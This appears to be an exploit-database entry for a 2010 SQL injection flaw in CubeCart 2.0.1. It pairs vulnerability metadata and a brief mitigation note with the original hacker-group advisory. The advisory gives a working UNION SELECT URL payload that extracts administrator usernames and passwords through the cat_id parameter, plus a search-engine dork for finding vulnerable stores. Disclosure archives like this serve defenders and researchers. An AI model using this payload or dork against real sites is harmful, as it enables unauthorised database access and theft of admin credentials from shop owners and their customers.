CubeCart 2.0.1 SqL InjECti0N

vendor:

CubeCart

by:

X_AviaTique_X

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: CubeCart

Affected Version From: 2.0.1

Affected Version To: 2.0.1

Patch Exists: NO

Related CWE: N/A

CPE: a:cubecart:cubecart:2.0.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Unix, 5.0.32-Debian

2010

CubeCart 2.0.1 SqL InjECti0N

CubeCart 2.0.1 is vulnerable to a SQL injection attack. An attacker can exploit this vulnerability by sending malicious SQL queries to the application. This can be done by appending a single quote (') to the end of the URL. For example, http://www.example.com/cart/index.php?cat_id=19' {SQL Injection}. An attacker can also use the UNION operator to retrieve data from the database. For example, http://www.example.com/cart/index.php?cat_id=19+union+select+group_concat%28username,0x3a,password%29,2,3,4,5,6,7,8+from+cube305_CubeCart_admin_users--

Mitigation:

Developers should ensure that user input is properly sanitized and validated before being used in SQL queries. Additionally, developers should use parameterized queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

===================================================================
CubeCart 2.0.1 SqL InjECti0N
===================================================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : X_AviaTique_X  fr0m  OS-TEAM
[~] Contact : C99@Live.De
[+] Greats T0: YasMouh , M.K , ArGon HaCKer , Shabah-DZ ,amgad noor 
               and all members 0f www.DzHacker.Net
[~] Site: www.DzHaCkEr.NeT
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : CubeCart 2.0.1
~Version : 2.0.1
~Software: http://www.cubecart.com/
~Vulnerability Style : SQL Injection
~Google Keyword : "Powered by CubeCart 2.0.1"
~String : '
[~]Date : "18.10.2010"
[~]Tested on : (L):Unix, (R):5.0.32-Debian
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  
    ~~~~~~~~ Explotation ~~~~~~~~~~~
    String (') SQL Injection Attack..
    http://www.exemple.com/cart/index.php?cat_id=19' {SQL Injection}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ~~~~~~~~ Exemples ~~~~~~~~~~~
    http://www.exemple.com/cart/index.php?cat_id=19+union+select+group_concat%28username,0x3a,password%29,2,3,4,5,6,7,8+from+cube305_CubeCart_admin_users--
    ================================

     
     GoodLUCK.